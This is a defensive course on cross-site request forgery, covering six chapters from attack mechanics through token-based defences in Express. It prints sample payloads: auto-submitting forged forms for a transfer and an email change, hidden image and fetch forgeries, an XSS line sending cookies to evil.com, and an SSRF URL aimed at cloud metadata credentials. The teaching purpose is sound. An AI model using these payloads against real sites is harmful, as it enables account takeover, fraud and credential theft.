CSRF — Cross-Site Request Forgery

A Complete 10-Chapter Security Course

Topics covered:

Confused deputy & ambient authority · Attack anatomy · CSRF vs XSS vs SSRF

Synchronizer & double-submit tokens · SameSite cookies · Origin checks · Re-auth

SPAs, JSON APIs & JWT · Testing & a hardening checklist

Exercises: 30 hands-on exercises with worked solutions

Format: A4 · Dark-theme code examples · Express / DevTools / Burp throughout

Table of Contents

CHAPTER 1 OF 10

What CSRF Is & Why It Works

CHAPTER 1

What CSRF Is & Why It Works

The confused deputy, ambient authority, and a concrete attack walkthrough

Cross-Site Request Forgery (CSRF) tricks a logged-in user's browser into making a request the user never intended — to a site they're *already authenticated with*. The attacker can't read the response or steal the session; they simply *cause an action* to happen using the victim's existing authority. This chapter explains the mechanism that makes that possible, because every defence later in the course targets one specific link in this chain.

The Core Idea: A Confused Deputy

CSRF is a classic **confused deputy** problem. A "deputy" is something that acts on behalf of someone with more authority than the requester. Here the deputy is **your browser**: it holds your authority for `yourbank.com` (your session), and it will faithfully attach that authority to *any* request to that site — even a request initiated by a totally unrelated, malicious page. The browser is "confused" into using your authority for the attacker's intent.

CSRF RIDES EXISTING AUTHORITY — IT DOESN'T STEAL CREDENTIALS

This is the single most important framing of the whole course: a CSRF attacker never learns your password or session cookie. They don't need to. They borrow the authority your browser already carries, to perform an action you didn't choose. So CSRF is an attack on *intent* (did the user mean to do this?), not on *authentication* (is this really the user?). The user genuinely is authenticated — that's exactly what the attacker exploits.

Why the Browser Cooperates: Ambient Authority

The enabling mechanism is **ambient authority** — authority that's applied automatically, in the background, without the requesting code having to present it explicitly. Cookies are the textbook example:

THE BROWSER RULE	THE CONSEQUENCE FOR CSRF
Cookies for a domain are attached to *every* request to that domain…	…even when the request was triggered by a *different* site

THE BROWSER RULE	THE CONSEQUENCE FOR CSRF
This happens automatically, with no action from the page making the request	The attacker's page doesn't need (or get) access to the cookie itself
The server sees a request with a valid session cookie	It looks indistinguishable from a genuine one

That last row is the crux: from the server's perspective, a forged request carrying your valid session cookie looks *exactly like* a legitimate one. There's nothing in the cookie alone to reveal whether *you* intended the request or an attacker's page did. That ambiguity is the vulnerability.

A Concrete Attack: The Forged Money Transfer

Suppose `yourbank.com` performs transfers via a simple form POST:

```
<!-- the legitimate form on yourbank.com -->
<form action="/transfer" method="POST">
  <input name="to" value="...">
  <input name="amount" value="...">
</form>
```

Now the attacker hosts this on `evil.com` and lures you to visit it (a link, an ad, an email):

```
<!-- on evil.com — auto-submits the moment the page loads -->
<form action="https://yourbank.com/transfer" method="POST" id="f">
  <input type="hidden" name="to" value="attacker-account">
  <input type="hidden" name="amount" value="5000">
</form>
<script>document.getElementById('f').submit()</script>
```

1. You log into **yourbank.com** — your browser now holds a valid session cookie for it.
2. In another tab (or later, still logged in) you visit **evil.com**.
3. Its hidden form **auto-submits a POST to yourbank.com/transfer**.
4. The browser **automatically attaches your yourbank.com cookie** (ambient authority).
5. The bank sees a valid, authenticated request and **executes the transfer** — to the attacker.

You never clicked "transfer." You may never even see it happen — the attacker doesn't need to read the response, only to trigger the action. That's a complete CSRF attack.

THE THREE PRECONDITIONS — REMOVE ANY ONE AND THE ATTACK FAILS

A CSRF attack needs all three of these, which is why defences target them: **(1)** the action is driven entirely by the request (the server relies only on the cookie to authorize it); **(2)** the request uses only parameters the attacker can predict/forge (no secret value they can't know); **(3)** the victim's browser will auto-send their credentials cross-site.

Every defence in this course — tokens, SameSite cookies, origin checks — works by breaking precondition (2) or (3). Keep this triad in mind; it's the skeleton key to the whole topic.

What CSRF Is Not

Precision here prevents confusion later (Chapter 4 expands this):

- **Not credential theft** — the attacker never obtains your password or cookie; they ride the session you already have.
- **Not data theft** — classic CSRF is "write-only." The attacker causes an action but generally can't read the response (the same-origin policy blocks that). CSRF is about *doing*, not *reading*.
- **Not XSS** — XSS runs the attacker's script *on the victim site*; CSRF runs no script on the target at all, it just sends a request *to* it from elsewhere. Different attack, different defence.

YOUR ADMIN-LOGIN TOKEN ERROR IS THIS MACHINERY WORKING — A PREVIEW

The "Invalid CSRF token" you hit logging into your own admin page is the *defence* from this course in action (the synchronizer token, Chapter 5). It's rejecting a request whose anti-CSRF token didn't match your session — usually a *stale token* on a login page rather than a real attack. We'll diagnose exactly why it happens (and why the back button "fixes" it) in Chapters 5 and 10, once the token mechanism is on the table.

Hands-On Exercises

EXERCISE 1

In your own words, explain the "confused deputy" framing of CSRF: who is the deputy, whose authority does it hold, and how is it confused? Then state precisely why the attacker does *not* need to steal the session cookie for the attack to work.

View solution

EXERCISE 2

Write out the five steps of the forged-transfer attack as a sequence, labelling at which step the victim's cookie gets attached and by whom. Then identify which single step would be prevented if the bank required a secret value the attacker couldn't predict.

View solution

EXERCISE 3

List the three preconditions a CSRF attack requires. For each, give a one-line example of a defence (from anywhere you know, or guess) that would remove it. This builds the mental map the rest of the course fills in.

View solution

CHAPTER 1 QUICK REFERENCE

- **CSRF** = tricking a logged-in user's browser into making an unintended request to a site they're authenticated with
- **Confused deputy** — the browser is the deputy; it applies your authority to a request an attacker initiated
- **Ambient authority** — cookies auto-attach to every request to their domain, even cross-site ones
- A forged request with your valid cookie looks **identical to a genuine one** to the server — that ambiguity is the vulnerability
- CSRF attacks **intent**, not authentication — no password or cookie is stolen
- Classic CSRF is **write-only** — it causes an action; it generally can't read the response (same-origin policy)
- Three preconditions: cookie-only authorization · forgeable parameters · cross-site credentialed requests — break any one to stop it
- **Next chapter:** how the browser enables it — cookies, credentialed requests, and which elements send them cross-site

CHAPTER 2 OF 10

How the Browser Enables It

CHAPTER 2

How the Browser Enables It

Cookies, credentialed requests, and which elements send credentials cross-site

Chapter 1 named the mechanism — ambient authority. This chapter looks at the browser machinery in detail: how cookies get attached, what "credentialed request" really means, and crucially *which* ways of making a request will carry the victim's cookies cross-site. Knowing exactly which elements are dangerous (and which aren't) is what lets you reason about both attacks and defences precisely.

How Cookies Get Attached — by Destination, Not Origin

The single rule behind all of CSRF: **the browser attaches a cookie based on where the request is going, not where it came from.** When a request heads to `yourbank.com`, the browser looks up the cookies stored for `yourbank.com` and includes them — and it does *not* care which page initiated that request. A script on `evil.com` triggering a request to the bank gets the bank's cookies attached just the same.

> **"SAME-SITE" IS ABOUT THE COOKIE'S DOMAIN VS THE PAGE'S DOMAIN**
>
> A request is **same-site** when the page making it and the destination share the same site (e.g. a page on yourbank.com posting to yourbank.com). It's **cross-site** when they differ (evil.com posting to yourbank.com). Historically the browser attached cookies on *both* — that's the gap CSRF exploits. The `SameSite` cookie attribute (Chapter 7) exists precisely to let a cookie say "don't attach me on cross-site requests," but to understand why that's a fix you first have to see the default behaviour it changes.

"Credentialed" Requests

A **credentialed request** is one the browser sends *with* the user's ambient credentials (cookies, HTTP auth, client certs) attached. Whether a request is credentialed depends on how it's made:

- **Navigations & form submissions** — always credentialed. A `<form>` POST or following a link always carries cookies for the destination. *This is the CSRF workhorse.*
- **Resource loads** (`<img>`, `<script>`, `<iframe>`) — credentialed. They fetch their target with cookies attached, which is why a GET that changes state is forgeable via an image tag.

- **fetch / XMLHttpRequest** — credentialed *only if asked*. By default cross-origin `fetch` sends *no* cookies; you must opt in with `credentials: 'include'` — and even then the response is gated by CORS.

The Critical Asymmetry: Sending vs Reading

Here's the distinction that explains why classic CSRF is "write-only," and it trips up almost everyone at first:

ACTION	ALLOWED CROSS-SITE BY DEFAULT?	GOVERNED BY
Browser **sends** a credentialed request (form/img/script)	YES — always has been	cookie attach rules (the CSRF gap)
Attacker page **reads** the cross-site response	NO — blocked	Same-Origin Policy / CORS

The **Same-Origin Policy (SOP)** stops one origin from *reading* another origin's responses — so the attacker's page can't see your bank balance. But SOP was never designed to stop the browser from *sending* a cross-site request in the first place. CSRF lives entirely in that gap: *sending is allowed even though reading is forbidden.* The attacker doesn't need to read; causing the action is the whole goal.

> **A COMMON MYTH: "CORS PROTECTS ME FROM CSRF." IT DOESN'T.**
> Developers often assume that because CORS blocks cross-origin reads, it also blocks cross-origin *writes* — and that their API is therefore CSRF-safe. This is wrong and dangerous. CORS governs whether JavaScript may *read a response*; it does **not** prevent the request from being *sent* and processed by your server. A forged form POST reaches your endpoint and executes regardless of CORS — the attacker simply never reads the reply, which they don't care about. CORS is not a CSRF defence. (Chapter 9 returns to this for APIs.)

The Role of HTTP Methods — and "Simple Requests"

Methods matter because of *how easily* each can be forged without any special permission:

FORGEABLE VIA…	METHODS / CONTENT TYPES	NEEDS CORS PREFLIGHT?
plain HTML (img, form)	GET; POST with form content types	No — fires freely
only via fetch/XHR	PUT, DELETE, PATCH, or JSON content type	Yes — preflighted

A `<form>` can only send GET or POST, and only with three "simple" content types (`application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`). These are exactly the requests a browser will send cross-site *without* a CORS **preflight** (the automatic `OPTIONS` check). Anything beyond that — a `DELETE`, or a `Content-Type: application/json` — triggers a preflight the attacker's forged request can't satisfy, so it's effectively blocked.

WHY THIS HANDS YOU A DEFENCE (PREVIEW OF CHAPTERS 8–9)

This asymmetry is quietly load-bearing for modern defences. If your endpoint *only* accepts `application/json`, a classic HTML-form CSRF attack can't even produce a valid request — a cross-site `fetch` with a JSON content type triggers a preflight, and your server can decline it. Likewise, requiring a custom header (which forms can't set) forces a preflight. This is why JSON APIs with custom headers are *harder* to CSRF — though, as the myth box warns, "harder" is not "immune," and you should still use explicit defences.

Two Methods, Two Honest Misuses

A recurring root cause: **state-changing actions exposed over GET**. Because `<img>`, `<script>`, and links all issue credentialed GETs silently, an endpoint like `GET /account/delete?id=5` can be fired by merely loading an image tag on any page — no form, no script even needed. The HTTP spec says GET must be **safe** (no side effects) for exactly this reason. POST is not magically secure either, but at least it can't be triggered by a bare `<img>`.

```
<!-- a state-changing GET is forgeable with a single tag on ANY page -->
<img src="https://yourbank.com/account/delete?id=5">

<!-- this is why "safe" methods must not change state -->
```

Hands-On Exercises

EXERCISE 1

Open DevTools → Network on a site you're logged into, trigger a request, and find the `Cookie` request header. Then articulate the rule that decided those cookies were attached — is it based on the page you're on, or the request's destination? Why does that rule enable CSRF?

View solution

EXERCISE 2

Explain why CORS does not protect against CSRF. Be precise about what CORS actually governs (reading vs sending) and walk through why a forged POST still executes on the server even though the attacker's JavaScript can't read the response.

View solution

EXERCISE 3

Classify each as easily-forgeable-cross-site or not, and say why: (a) `GET /search?q=x` via an img tag; (b) a form POST with `application/x-www-form-urlencoded`; (c) a `fetch` with `DELETE`; (d) a `fetch` sending `Content-Type: application/json`. Reference preflight where relevant.

View solution

CHAPTER 2 QUICK REFERENCE

- Cookies attach by **destination, not origin** — a request to yourbank.com gets the bank's cookies whoever triggered it
- **Same-site** (page & destination match) vs **cross-site** (differ) — historically cookies sent on both
- **Credentialed request** = sent with the user's cookies; forms/navigations & resource loads always are, `fetch` only with `credentials:'include'`
- Critical asymmetry: the browser **sends** cross-site requests freely, but the **Same-Origin Policy** blocks **reading** the response — CSRF lives in that gap (write-only)
- **CORS is NOT a CSRF defence** — it governs reading responses, not whether the request is sent/processed
- HTML forms send only GET/POST with "simple" content types → no preflight → freely forgeable; JSON/DELETE/custom headers trigger a **preflight**
- State-changing **GET** is the worst offender — forgeable by a bare `<img>`; GET must be **safe** (no side effects)
- **Next chapter:** anatomy of an attack — crafting the malicious page, GET vs POST forgery, real-world patterns

CHAPTER 3 OF 10

Anatomy of an Attack

CHAPTER 3

Anatomy of an Attack

Crafting the malicious page — GET forgery, POST forgery, and delivery

With the mechanism understood (Chapters 1–2), this chapter is the attacker's toolkit — assembled here so you can *recognize* and *test* for these patterns defensively, which is the whole point of studying them. We'll build each forgery type from simplest to most capable, note what each requires of the target endpoint, and look at how attacks are delivered.

DEFENSIVE FRAMING — AND A REAL PLACE TO PRACTISE LEGALLY

Everything here is for understanding and authorized testing of *your own* applications. Don't fire these at sites you don't own. To practise safely, use deliberately-vulnerable training apps built for it — **OWASP Juice Shop**, **DVWA**, or **PortSwigger's Web Security Academy** CSRF labs — which give you a legal target and guided exercises. The exercises in this chapter assume that kind of sandbox.

Level 1: GET Forgery with an Image Tag

The simplest possible attack needs no form and no script — just a state-changing endpoint exposed over GET. A single tag on any page the victim loads fires a credentialed request:

```
<!-- fires the moment the page renders; victim sees nothing -->
<img src="https://target.com/newsletter/unsubscribe?id=42" style="display:none">
```

Because `<img>` issues a credentialed GET (Chapter 2), the browser attaches the victim's cookies and the unsubscribe happens. `display:none` hides the broken-image icon so there's no visual tell. This works *only* because the endpoint violated the rule that GET must be side-effect-free — which is exactly why that rule exists.

Level 2: POST Forgery with an Auto-Submitting Form

Most state changes are (correctly) POST, which an `<img>` can't produce. The standard attack is a hidden form that submits itself on load — the canonical CSRF payload:

```
<body onload="document.forms[0].submit()">
  <form action="https://target.com/email/change" method="POST">
    <input type="hidden" name="email" value="attacker@evil.com">
  </form>
</body>
```

The form's `action` points cross-site to the target; hidden inputs supply the attacker-chosen parameters; `onload` auto-submits so no click is needed. Changing the victim's account email is a favourite because it often enables a follow-up password reset — a foothold for full account takeover.

WHY ATTACKERS TARGET EMAIL/PASSWORD CHANGE SPECIFICALLY

A single forged "change email" request can be the whole ballgame: change the account's email to one the attacker controls, then use the normal "forgot password" flow to receive a reset link at that address. This chains a *limited* CSRF (one state change) into *full account takeover*. It's why account-security endpoints (change email, change password, add a recovery method) deserve the strongest CSRF protection *and* re-authentication (Chapter 8) — they're the highest-value targets.

Level 3: Forgery via fetch (and its limits)

An attacker can also use `fetch`, but Chapter 2's rules bite here. To send cookies cross-site they must opt in, and they're confined to "simple" requests or they'll trigger a blocking preflight:

```
fetch("https://target.com/transfer", {
  method: "POST",
  credentials: "include",        // needed to send the victim's cookies
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "to=attacker&amount=5000"     // simple content type = no preflight
});
```

Note what the attacker *cannot* do: set a custom header, or send `application/json` — either triggers a preflight their origin can't pass. So `fetch` gives them no more power than a form for classic targets; the form is usually simpler and works even with scripting disabled. This limitation is the seed of several defences.

GET vs POST Forgery, Side by Side

	GET FORGERY	POST FORGERY
Payload	<img>, <script>, link, or even a bare URL	auto-submitting hidden <form>
Needs JS?	no — a tag alone fires it	no — `onload`/no-JS submit works too

	GET FORGERY	POST FORGERY
Requires	the endpoint to change state on GET (a bug)	any cookie-authorized POST endpoint
Stealth	trivial — hidden image, no navigation	page briefly navigates unless framed/hidden

Delivery: Getting the Victim to the Payload

The forgery only fires if the logged-in victim loads the attacker's page. Common delivery vectors:

- **A link** in an email, message, or forum post leading to the attacker's page.
- **A malicious or compromised ad** (malvertising) on an otherwise-legitimate site.
- **An embedded resource** — for GET attacks, the payload can be an `<img>` posted into any site that allows user images (a forum signature, a comment).
- **The victim simply being logged in elsewhere** — they don't need to "do" anything beyond having an active session and opening the page.

> **THE VICTIM DOESN'T NEED TO BE ON THE TARGET SITE AT THE TIME**
>
> A persistent cookie means the victim is "logged in" to the target even when no tab for it is open. Loading the attacker's page in *any* tab is enough — the forged request still carries the stored session cookie. This is why "I logged out" matters (it invalidates the session) but "I closed the tab" generally doesn't. It also means CSRF doesn't require the victim to be actively using the target; mere ambient session existence suffices.

What the Attacker Still Can't Do

Keeping the limits sharp (from Chapter 2) helps you scope risk correctly:

- **Can't read responses** — so they can't exfiltrate data this way; CSRF is about causing actions.
- **Can't forge requests needing unpredictable values** — a secret token they can't guess blocks the request entirely (Chapter 5).
- **Can't set custom headers or JSON bodies cross-site without a preflight** — limiting attacks to simple requests.
- **Can't act if the cookie isn't sent** — SameSite (Chapter 7) can strip the credential from the forged request.

Each "can't" is a defence the rest of the course makes concrete. Next we clear up the most-confused boundary in web security: CSRF versus XSS versus SSRF.

Hands-On Exercises

EXERCISE 1

On a deliberately-vulnerable training app (Juice Shop / DVWA / PortSwigger labs), build a Level-1 GET-forgery payload and a Level-2 auto-submitting POST payload against a state-changing endpoint. For each, state exactly which endpoint property made it possible.

View solution

EXERCISE 2

Explain how a single forged "change email address" request can escalate into full account takeover. Then explain why an attacker can perform the change but cannot directly read the confirmation response, and why that doesn't save the victim.

View solution

EXERCISE 3

An attacker tries a cross-site `fetch` to `POST` a JSON body with a custom `X-Requested-With` header to the target. Walk through what the browser does and why this forgery fails — then explain what it would (wrongly) take for the target to be safe relying on that alone.

View solution

CHAPTER 3 QUICK REFERENCE

- **GET forgery** — a hidden `<img>`/tag fires a credentialed GET; works only against a state-changing GET (a bug)
- **POST forgery** — an auto-submitting hidden `<form>` (`onload submit`); the canonical CSRF payload, no click needed
- **fetch forgery** — needs `credentials:'include'` and is confined to simple requests (no custom headers / JSON without a preflight)
- **Change-email / change-password** endpoints are prime targets — one forged change can chain to **account takeover**
- **Delivery** — links, malvertising, embedded `<img>` in user content; victim just needs an active session + to load the page
- Closing a tab doesn't help (persistent cookie); **logging out** does (invalidates the session)
- Attacker still **can't**: read responses · forge unpredictable tokens · set custom headers/JSON cross-site · act if the cookie isn't sent
- Practise only on owned/training targets — **Juice Shop, DVWA, PortSwigger Academy**
- **Next chapter:** CSRF vs XSS vs SSRF — untangling the three most-confused web-security acronyms

CHAPTER 4 OF 10

CSRF vs XSS vs SSRF

CHAPTER 4

CSRF vs XSS vs SSRF

Untangling the three most-confused web-security acronyms

These three acronyms look alike, get muddled constantly, and have *completely different* mechanisms and defences. Confusing them leads to applying the wrong fix — the dangerous "I added CORS, so I'm safe from CSRF" class of mistake. This mid-course checkpoint pins down each one precisely and, just as importantly, how they relate.

One-Line Definitions

ACRONYM	FULL NAME	IN ONE LINE
CSRF	Cross-Site Request Forgery	tricks the victim's *browser* into sending an unwanted request using the victim's authority
XSS	Cross-Site Scripting	runs the attacker's *JavaScript* inside the victim's session on the target site
SSRF	Server-Side Request Forgery	tricks the *server* into making requests to places the attacker chooses

The clearest way to keep them apart is to ask **who is tricked into acting**: CSRF tricks the *browser*, XSS injects script that runs *in the page*, SSRF tricks the *server*. Two are "cross-site," one is "server-side" — and that word swap (*Scripting* vs *Request Forgery*) is where most confusion starts.

CSRF vs XSS — The Pair People Mix Up Most

Both involve a victim and a malicious payload, but the capability gap is enormous:

	CSRF	XSS
What runs where	no attacker code on the target; a request is *sent to* it from another site	attacker's script runs *on* the target page, same-origin
Can read the response?	No (same-origin policy blocks it) — write-only	Yes — it's same-origin, so it reads everything

	CSRF	XSS
Can steal data / cookies?	No	Yes (cookies, tokens, page content, keystrokes)
Typical defence	anti-CSRF tokens, SameSite cookies	output encoding, CSP, input sanitization

XSS DEFEATS CSRF DEFENCES — SO XSS IS THE MORE SEVERE BUG

This is the most important relationship in the chapter: **if an attacker has XSS on your site, your CSRF defences are worthless.** Their script runs *same-origin*, so it can simply *read* the anti-CSRF token out of the page (or cookie) and include it in a forged request — defeating the synchronizer token entirely. It can also set custom headers and read responses. So XSS is strictly more powerful than CSRF, and a site with XSS can't be protected from CSRF by tokens alone. The practical lesson: *tokens assume the attacker can't read your page; XSS breaks that assumption.* Fix XSS first.

What XSS Looks Like (Briefly)

XSS happens when untrusted input is rendered into a page without proper encoding, so it executes as code rather than displaying as text:

```
<!-- a comment field that echoes input unescaped -->
// attacker submits as their "comment":
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

// it renders into every viewer's page and runs in THEIR session
```

The fix is the opposite discipline from CSRF's: **encode output** so input can never become executable markup, plus a **Content-Security-Policy** to restrict what scripts may run. Note these defences have *nothing* to do with tokens or SameSite — different bug, different toolbox.

SSRF — The Odd One Out

SSRF is server-side and unrelated to the victim's browser at all. The attacker abuses a server feature that fetches a URL — an "import from URL," a webhook, an image-from-link — by supplying a URL pointing somewhere the *server* can reach but the attacker normally can't:

```
# app lets you import an avatar from a URL; attacker supplies:
url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# the server fetches it -> cloud metadata endpoint -> leaks credentials
```

Classic SSRF targets internal-only services: cloud metadata endpoints, internal admin panels, databases — things firewalled from the internet but reachable from the server itself. The defence is again wholly different:

validate/allowlist outbound URLs, block internal IP ranges, and isolate the metadata endpoint. SSRF shares the words "Request Forgery" with CSRF but the *forger* is the server, not the browser — opposite side of the connection.

The Memory Hook

THREE QUESTIONS THAT DISAMBIGUATE INSTANTLY

Faced with an unfamiliar scenario, ask in order: **(1) Whose code executes?** Attacker's *script on the target* → XSS. **(2) If no script runs on the target, who makes the unwanted request?** The *victim's browser* → CSRF; the *server* → SSRF. That's it. "Script on the page" = XSS; "browser sends a request" = CSRF; "server sends a request" = SSRF. The shared letters are a coincidence of naming, not of mechanism.

How They Can Combine

They're distinct, but real attacks chain them:

- **XSS → CSRF** isn't even needed — XSS can do everything CSRF can and more, same-origin. (This is why XSS outranks CSRF in severity.)
- **CSRF → SSRF** — a CSRF that hits an internal admin endpoint, or that triggers a server-side fetch feature, can become a delivery vector for SSRF.
- **Defence independence** — because the mechanisms differ, you need *all three* sets of defences; fixing one does nothing for the others. A token-protected app can still be wide open to XSS or SSRF.

Hands-On Exercises

EXERCISE 1

For each scenario, name the vulnerability (CSRF / XSS / SSRF): (a) a forum signature containing `<script>` that steals viewers' cookies; (b) a hidden form on evil.com that changes your email on a site you're logged into; (c) a "fetch preview of this URL" feature an attacker points at `http://localhost:8080/admin`. Justify each with the "who acts?" test.

View solution

EXERCISE 2

Explain precisely why a site with an XSS vulnerability cannot be protected from CSRF by synchronizer tokens alone. Walk through what the injected script does to the token, and state the security principle this implies about defence ordering.

View solution

EXERCISE 3

Build a comparison table of CSRF, XSS, and SSRF across four axes: who is tricked into acting, whether attacker code runs on the target, whether data can be read/exfiltrated, and the primary defence. Then explain why "I enabled CORS" addresses none of them as a CSRF fix.

View solution

CHAPTER 4 QUICK REFERENCE

- **CSRF** — victim's *browser* tricked into sending an unwanted request with the victim's authority; write-only
- **XSS** — attacker's *script* runs same-origin on the target; can read everything, steal cookies/tokens
- **SSRF** — the *server* tricked into fetching attacker-chosen URLs (internal services, cloud metadata)
- Disambiguate by **"who is tricked into acting?"** — script on page (XSS) · browser sends request (CSRF) · server sends request (SSRF)
- **XSS defeats CSRF defences** — same-origin script reads the token; fix XSS first, it's strictly more powerful
- Defences are **independent & non-transferable**: tokens/SameSite (CSRF) · output encoding/CSP (XSS) · URL allowlist/block internal IPs (SSRF)
- Attacks chain: **CSRF→SSRF** possible; **XSS** subsumes CSRF — you need all three defence sets
- **Next chapter:** the synchronizer token pattern — the classic CSRF defence, in detail (and your admin-login error)

CHAPTER 5 OF 10

The Synchronizer Token Pattern

CHAPTER 5

The Synchronizer Token Pattern

The classic CSRF defence — generation, embedding, validation (and your login error)

Now the defences. The **synchronizer token pattern** is the oldest and most robust CSRF defence, and the one behind the "Invalid CSRF token" message you hit on your admin login. It works by attacking precondition #2 from Chapter 1 — *forgeable parameters* — by requiring every state-changing request to carry a secret the attacker cannot know.

The Core Idea

The server generates a **random, unpredictable token**, ties it to the user's session, and embeds it in every form it serves. A genuine request (from the server's own page) includes the token; a forged request (from evil.com) cannot, because the attacker can't read the token out of your page (Same-Origin Policy, Chapter 2). The server rejects any state-changing request whose token is missing or wrong.

WHY IT WORKS: PROOF THE REQUEST CAME FROM YOUR OWN PAGE

The cookie proves "this is the logged-in user" — but that's exactly what CSRF abuses. The token adds a second, independent proof: "this request was generated by a page *I* served to that user," because only such a page contains the correct token. The attacker has the user's cookie (ambient) but *not* the token (unreadable cross-site). Requiring both closes the gap the cookie alone left open.

The Lifecycle: Generate → Embed → Submit → Validate

1. **Generate**
   On session start (or per request), the server creates a cryptographically random token and stores it server-side, associated with the session.
2. **Embed**
   When rendering a form, the server injects the token as a hidden field (or a meta tag for JS to read).
3. **Submit**
   The browser sends the token back with the form data — alongside the session cookie, which rides automatically.
4. **Validate**
   The server compares the submitted token against the one stored for the session. Match → process; mismatch/missing → reject (the "Invalid CSRF token" error).

What It Looks Like in Code (Express)

```
// server renders a form with the token embedded
app.get("/transfer", (req, res) => {
  const token = req.session.csrfToken;   // generated at login/session start
  res.send(`<form method="POST" action="/transfer">
    <input type="hidden" name="_csrf" value="${token}">
    ...</form>`);
});

// server validates on the state-changing request
app.post("/transfer", (req, res) => {
  if (req.body._csrf !== req.session.csrfToken) {
    return res.status(403).send("Invalid CSRF token.");  // <- your error!
  }
  // ...perform the transfer...
});
```

The token must be sent in the request **body or a header** — never *only* in a cookie, because a cookie auto-rides on forged requests too (that's the whole problem). The defining property is that the token travels somewhere the attacker would have to *read or write*, which cross-site they cannot.

Per-Session vs Per-Request Tokens

	PER-SESSION TOKEN	PER-REQUEST TOKEN
Lifetime	one token for the whole session	new token after every request
Pros	simple; tolerant of back button & multiple tabs	tighter; limits token-replay window
Cons	longer-lived secret	**fragile** — back button & multiple tabs cause mismatches

This table is the crux of your login mystery. Per-request rotation is more secure but notoriously breaks the back button and multi-tab usage, because an *old* page holds a token the server has already rotated away from.

★ YOUR ADMIN-LOGIN "INVALID CSRF TOKEN" — DIAGNOSED

Here's what's almost certainly happening. Your login page is served with a CSRF token bound to your *pre-login* session. By the time you submit, the token no longer matches — most commonly because: **(1)** the login form was **served from cache / bfcache** (Firefox's back-forward cache is aggressive — which is exactly why you saw it in Firefox), so its embedded token is stale; **(2)** the session was **regenerated** (many apps rotate the session/token on login to prevent *session fixation*, invalidating the token the form was rendered with); or **(3)** a **second tab or an earlier-loaded form** rotated the per-request token. Clicking **Back** reloads a form whose token matches the *current* session, so the next submit succeeds. It's the defence firing on a *stale* token, not an attack — which is why it "seems

fine." Chapter 10 covers the proper fixes (don't cache the form, issue the token after session regeneration, allow the token to refresh).

Generating a Good Token

The token's security rests entirely on being **unguessable**. Use a cryptographically secure random generator, not `Math.random()`:

```
// Node: 32 random bytes, hex-encoded
const token = require("crypto").randomBytes(32).toString("hex");
```

Compare tokens with a **constant-time** comparison (e.g. `crypto.timingSafeEqual`) to avoid leaking information through timing. And validate on **every** state-changing request — a single unprotected POST endpoint is all an attacker needs.

COMMON WAYS THE SYNCHRONIZER TOKEN IS SILENTLY DEFEATED

The pattern only protects what it covers. Frequent mistakes: **(1)** protecting POST but leaving a state-changing **GET** unguarded (Chapter 3); **(2)** putting the token **only in a cookie** the server reads back (it rides on forged requests too — that's *not* the synchronizer pattern, it's a misimplementation); **(3)** a weak/predictable token; **(4)** not validating on some endpoints; **(5)** reflecting the token in a way XSS can read (Chapter 4 — XSS reads the token and defeats it regardless). The pattern is robust; the implementation details are where it leaks.

Hands-On Exercises

EXERCISE 1

Implement a minimal synchronizer-token defence in Express: generate a token at session start, embed it as a hidden `_csrf` field, and validate it on a POST route with a constant-time comparison. Explain why the token must be in the body/header and not only in a cookie.

View solution

EXERCISE 2

Explain, step by step, why your admin-login "Invalid CSRF token" error occurs and why the browser's Back button clears it. Identify the three likely root causes (stale cached form, session regeneration on login, per-request rotation) and why Firefox's bfcache makes it more visible.

View solution

EXERCISE 3

For each flawed implementation, explain how an attacker defeats it: (a) the token is stored only in a second cookie and the server checks the two cookies match; (b) only POST routes validate the token while `GET /delete?id=` exists; (c) the token is generated with `Math.random()`. State the fix for each.

View solution

CHAPTER 5 QUICK REFERENCE

- **Synchronizer token** — server issues a random token tied to the session; every state-changing request must echo it back
- Works by attacking **forgeable parameters** — the attacker has the cookie but can't read the token (cross-site)
- Lifecycle: **generate** → **embed (hidden field)** → **submit (body/header)** → **validate** against the session's stored token
- Token must travel in the **body or a header, never only a cookie** (a cookie auto-rides forged requests)
- **Per-session** (simple, back-button friendly) vs **per-request** (tighter, but breaks back button & multi-tab)
- Your **login error** = a stale token (cached/bfcached form, session regenerated on login, or per-request rotation); Back reloads a matching form
- Generate with a **CSPRNG** (`crypto.randomBytes`), compare in **constant time**, validate on **every** state-changing route
- Defeated by: unguarded GETs · token-only-in-cookie · weak token · uncovered endpoints · **XSS** (reads the token)
- **Next chapter:** double-submit cookie & stateless tokens — defending without server-side token storage

CHAPTER 6 OF 10

Double-Submit Cookie & Stateless Tokens

CHAPTER 6

Double-Submit Cookie & Stateless Tokens

Cookie-to-header matching, when to use it, and the subdomain pitfall

The synchronizer token (Chapter 5) requires the server to *store* a token per session. That's fine for stateful apps, but adds friction for stateless backends and APIs that don't keep server-side session state. The **double-submit cookie** pattern achieves CSRF protection *without server-side storage* — at the cost of some subtle pitfalls this chapter makes explicit.

The Core Trick

The server sends the CSRF token as a **cookie**, and the client-side JavaScript reads that cookie and **copies its value into a request header** (or body field) on each state-changing request. The server then checks that the *cookie value* and the *header value* match. No server-side token store is needed — the server just compares the two copies the request itself carries.

```
// server sets the token cookie (readable by JS — NOT HttpOnly here)
res.cookie("csrf", token, { sameSite: "lax", secure: true });

// client copies the cookie value into a header on each request
fetch("/transfer", {
  method: "POST",
  headers: { "X-CSRF-Token": readCookie("csrf") },
  credentials: "include",
});

// server validates: do the cookie copy and the header copy match?
if (req.cookies.csrf !== req.headers["x-csrf-token"]) return res.sendStatus(403);
```

Why It Stops CSRF

The cookie rides automatically on a forged cross-site request (ambient authority) — but the attacker **cannot read it** to copy its value into the header, because of the Same-Origin Policy (Chapter 2). So a forged request arrives with the cookie but *no matching header*, and validation fails. The defence rests entirely on the asymmetry: *the cookie is auto-sent, but only same-origin JavaScript can read it to set the header.*

WHY "HEADER" MATTERS — AND WHY THIS RESISTS FORGERY

A cross-site attacker can make the browser *send* the cookie, but cannot *set a custom request header* on a simple cross-site request (and setting one forces a CORS preflight they can't pass, Chapter 2). So requiring the token in a header does double duty: the attacker can neither read the value nor place it in the header. That's why double-submit implementations favour a custom header over a hidden form field — it adds the preflight barrier on top of the read barrier.

Synchronizer vs Double-Submit

	SYNCHRONIZER TOKEN	DOUBLE-SUBMIT COOKIE
`Server-side storage`	required (token per session)	none — stateless
`Validation`	submitted token vs stored token	cookie copy vs header copy
`Best fit`	stateful, server-rendered apps	stateless backends, SPAs/APIs
`Main weakness`	storage cost; per-request fragility	**subdomain / cookie-injection** issues
